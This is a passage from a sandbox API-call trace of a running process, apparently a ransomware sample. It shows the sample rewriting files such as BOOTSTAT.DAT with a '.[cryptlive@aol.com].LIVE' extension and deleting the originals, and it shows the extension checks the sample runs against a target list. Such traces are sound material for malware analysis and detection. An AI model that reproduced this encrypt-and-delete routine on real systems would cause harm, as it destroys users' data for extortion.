0x11567f7 [0052.365] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0052.940] GetTickCount () returned 0x11569cb [0052.940] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0053.770] GetTickCount () returned 0x1156d06 [0053.770] GetTickCount () returned 0x1156d06 [0053.770] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0054.021] GetTickCount () returned 0x1156dff [0054.021] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0054.331] GetTickCount () returned 0x1156f37 [0054.331] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0054.686] GetTickCount () returned 0x115709e [0054.686] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0055.865] GetTickCount () returned 0x1157530 [0055.865] GetTickCount () returned 0x1157530 [0055.865] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0056.227] GetTickCount () returned 0x11576a7 [0056.227] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0056.560] GetTickCount () returned 0x11577fe [0056.569] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0057.013] GetTickCount () returned 0x11579b3 [0057.013] GetTickCount () returned 0x11579b3 [0057.013] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0057.449] GetTickCount () returned 0x1157b67 [0057.449] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0059.649] GetTickCount () returned 0x11583ff [0059.649] GetTickCount () returned 0x11583ff [0059.649] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0059.775] GetTickCount () returned 0x115847c [0059.775] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0060.003] GetTickCount () returned 0x1158566 [0060.003] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0061.872] GetTickCount () returned 0x1158cb6 [0061.872] GetTickCount () returned 0x1158cb6 [0061.872] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0062.364] GetTickCount () returned 0x1158e9a [0062.364] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0062.503] GetTickCount () returned 0x1158f26 [0062.503] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0062.997] GetTickCount () returned 0x1159119 [0062.997] GetTickCount () returned 0x1159119 [0062.997] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) returned 0x102 [0063.186] GetTickCount () returned 0x11591d4 [0063.186] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x67c [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5a0380 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5b0388 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570528 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x55a4b8 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570540 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x33d0020 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570558 [0036.206] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570558, Size=0x20) returned 0x555df0 [0036.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570558 [0036.206] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570558, Size=0x20) returned 0x555dc8 [0036.206] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.207] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.207] Wow64DisableWow64FsRedirection (in: OldValue=0x2a8ff58 | out: OldValue=0x2a8ff58*=0x0) returned 1 [0036.207] lstrlenW (lpString="kernel32.dll") returned 12 [0036.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.207] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.207] Sleep (dwMilliseconds=0x64) [0036.337] Sleep (dwMilliseconds=0x64) [0036.824] Sleep (dwMilliseconds=0x64) [0036.950] lstrcmpiW (lpString1=".ini", lpString2=".LIVE") returned -1 [0036.950] lstrlenW (lpString="desktop.ini") returned 11 [0036.950] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.950] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=129) returned 1 [0036.950] CloseHandle (hObject=0x168) returned 1 [0036.950] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0036.950] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.950] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.951] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.951] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.951] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0036.952] GetLastError () returned 0x0 [0036.952] ReadFile (in: hFile=0x168, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x81, lpOverlapped=0x0) returned 1 [0036.965] WriteFile (in: hFile=0x16c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x90, lpOverlapped=0x0) returned 1 [0036.966] ReadFile (in: hFile=0x168, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.966] WriteFile (in: hFile=0x16c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0036.966] SetEndOfFile (hFile=0x16c) returned 1 [0036.967] CloseHandle (hObject=0x16c) returned 1 [0036.967] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.967] SetEndOfFile (hFile=0x168) returned 1 [0036.968] CloseHandle (hObject=0x168) returned 1 [0036.968] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x26) returned 1 [0036.969] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0036.969] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.969] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.969] lstrlenW (lpString=".doc") returned 4 [0036.969] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0036.969] lstrlenW (lpString=".docx") returned 5 [0036.969] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0036.969] lstrlenW (lpString=".pdf") returned 4 [0036.969] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0036.969] lstrlenW (lpString=".xls") returned 4 [0036.969] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0036.969] lstrlenW (lpString=".xlsx") returned 5 [0036.969] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0036.969] lstrlenW (lpString=".ppt") returned 4 [0036.969] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0036.969] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.969] lstrlenW (lpString=".zip") returned 4 [0036.969] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0036.969] lstrlenW (lpString=".rar") returned 4 [0036.969] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0036.969] lstrlenW (lpString=".bz2") returned 4 [0036.969] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0036.969] lstrlenW (lpString=".7z") returned 3 [0036.969] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0036.969] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.969] lstrlenW (lpString=".dbf") returned 4 [0036.970] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".1cd") returned 4 [0036.970] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".jpg") returned 4 [0036.970] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".doc") returned 4 [0036.970] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0036.970] lstrlenW (lpString=".docx") returned 5 [0036.970] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0036.970] lstrlenW (lpString=".pdf") returned 4 [0036.970] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString=".xls") returned 4 [0036.970] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString=".xlsx") returned 5 [0036.970] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0036.970] lstrlenW (lpString=".ppt") returned 4 [0036.970] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".zip") returned 4 [0036.970] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString=".rar") returned 4 [0036.970] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0036.970] lstrlenW (lpString=".bz2") returned 4 [0036.970] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0036.970] lstrlenW (lpString=".7z") returned 3 [0036.970] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".dbf") returned 4 [0036.970] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0036.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.970] lstrlenW (lpString=".1cd") returned 4 [0036.971] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0036.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.971] lstrlenW (lpString=".jpg") returned 4 [0036.971] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0036.971] lstrcmpiW (lpString1=".LOG", lpString2=".LIVE") returned 1 [0036.971] lstrlenW (lpString="BCD.LOG") returned 7 [0036.971] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.971] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.971] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.971] lstrlenW (lpString=".doc") returned 4 [0036.971] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0036.971] lstrlenW (lpString=".docx") returned 5 [0036.971] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0036.971] lstrlenW (lpString=".pdf") returned 4 [0036.971] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0036.971] lstrlenW (lpString=".xls") returned 4 [0036.971] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0036.971] lstrlenW (lpString=".xlsx") returned 5 [0036.971] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0036.971] lstrlenW (lpString=".ppt") returned 4 [0036.971] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0036.971] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.971] lstrlenW (lpString=".zip") returned 4 [0036.971] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0036.971] lstrlenW (lpString=".rar") returned 4 [0036.971] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0036.971] lstrlenW (lpString=".bz2") returned 4 [0036.971] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0036.971] lstrlenW (lpString=".7z") returned 3 [0036.972] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".dbf") returned 4 [0036.972] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".1cd") returned 4 [0036.972] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".jpg") returned 4 [0036.972] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".doc") returned 4 [0036.972] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0036.972] lstrlenW (lpString=".docx") returned 5 [0036.972] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0036.972] lstrlenW (lpString=".pdf") returned 4 [0036.972] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0036.972] lstrlenW (lpString=".xls") returned 4 [0036.972] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0036.972] lstrlenW (lpString=".xlsx") returned 5 [0036.972] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0036.972] lstrlenW (lpString=".ppt") returned 4 [0036.972] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".zip") returned 4 [0036.972] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0036.972] lstrlenW (lpString=".rar") returned 4 [0036.972] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0036.972] lstrlenW (lpString=".bz2") returned 4 [0036.972] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0036.972] lstrlenW (lpString=".7z") returned 3 [0036.972] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0036.972] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.972] lstrlenW (lpString=".dbf") returned 4 [0036.973] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0036.973] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.973] lstrlenW (lpString=".1cd") returned 4 [0036.973] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0036.973] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0036.973] lstrlenW (lpString=".jpg") returned 4 [0036.973] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0036.973] lstrcmpiW (lpString1=".DAT", lpString2=".LIVE") returned -1 [0036.973] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0036.973] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.095] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=65536) returned 1 [0037.095] CloseHandle (hObject=0x16c) returned 1 [0037.095] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0037.095] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.095] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.095] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.095] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.095] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0037.096] GetLastError () returned 0x0 [0037.096] ReadFile (in: hFile=0x16c, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x10000, lpOverlapped=0x0) returned 1 [0037.098] WriteFile (in: hFile=0x170, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0037.100] ReadFile (in: hFile=0x16c, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.100] WriteFile (in: hFile=0x170, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.100] SetEndOfFile (hFile=0x170) returned 1 [0037.101] CloseHandle (hObject=0x170) returned 1 [0037.102] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.102] SetEndOfFile (hFile=0x16c) returned 1 [0037.103] CloseHandle (hObject=0x16c) returned 1 [0037.103] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x26) returned 1 [0037.104] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0037.104] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.104] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.104] lstrlenW (lpString=".doc") returned 4 [0037.104] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString=".docx") returned 5 [0037.104] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0037.104] lstrlenW (lpString=".pdf") returned 4 [0037.104] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString=".xls") returned 4 [0037.104] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString=".xlsx") returned 5 [0037.104] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0037.104] lstrlenW (lpString=".ppt") returned 4 [0037.104] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.104] lstrlenW (lpString=".zip") returned 4 [0037.104] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString=".rar") returned 4 [0037.104] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0037.104] lstrlenW (lpString=".bz2") returned 4 [0037.104] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0037.104] lstrlenW (lpString=".7z") returned 3 [0037.104] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0037.104] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.104] lstrlenW (lpString=".dbf") returned 4 [0037.104] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString=".1cd") returned 4 [0037.105] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString=".jpg") returned 4 [0037.105] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString=".doc") returned 4 [0037.105] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString=".docx") returned 5 [0037.105] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0037.105] lstrlenW (lpString=".pdf") returned 4 [0037.105] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString=".xls") returned 4 [0037.105] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString=".xlsx") returned 5 [0037.105] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0037.105] lstrlenW (lpString=".ppt") returned 4 [0037.105] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString=".zip") returned 4 [0037.105] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString=".rar") returned 4 [0037.105] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString=".bz2") returned 4 [0037.105] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0037.105] lstrlenW (lpString=".7z") returned 3 [0037.105] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.105] lstrlenW (lpString=".dbf") returned 4 [0037.105] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0037.105] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.106] lstrlenW (lpString=".1cd") returned 4 [0037.106] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0037.106] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.106] lstrlenW (lpString=".jpg") returned 4 [0037.106] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0037.106] Sleep (dwMilliseconds=0x64) [0037.324] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.324] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0037.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.677] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1565) returned 1 [0037.677] CloseHandle (hObject=0x188) returned 1 [0037.677] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0037.677] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all 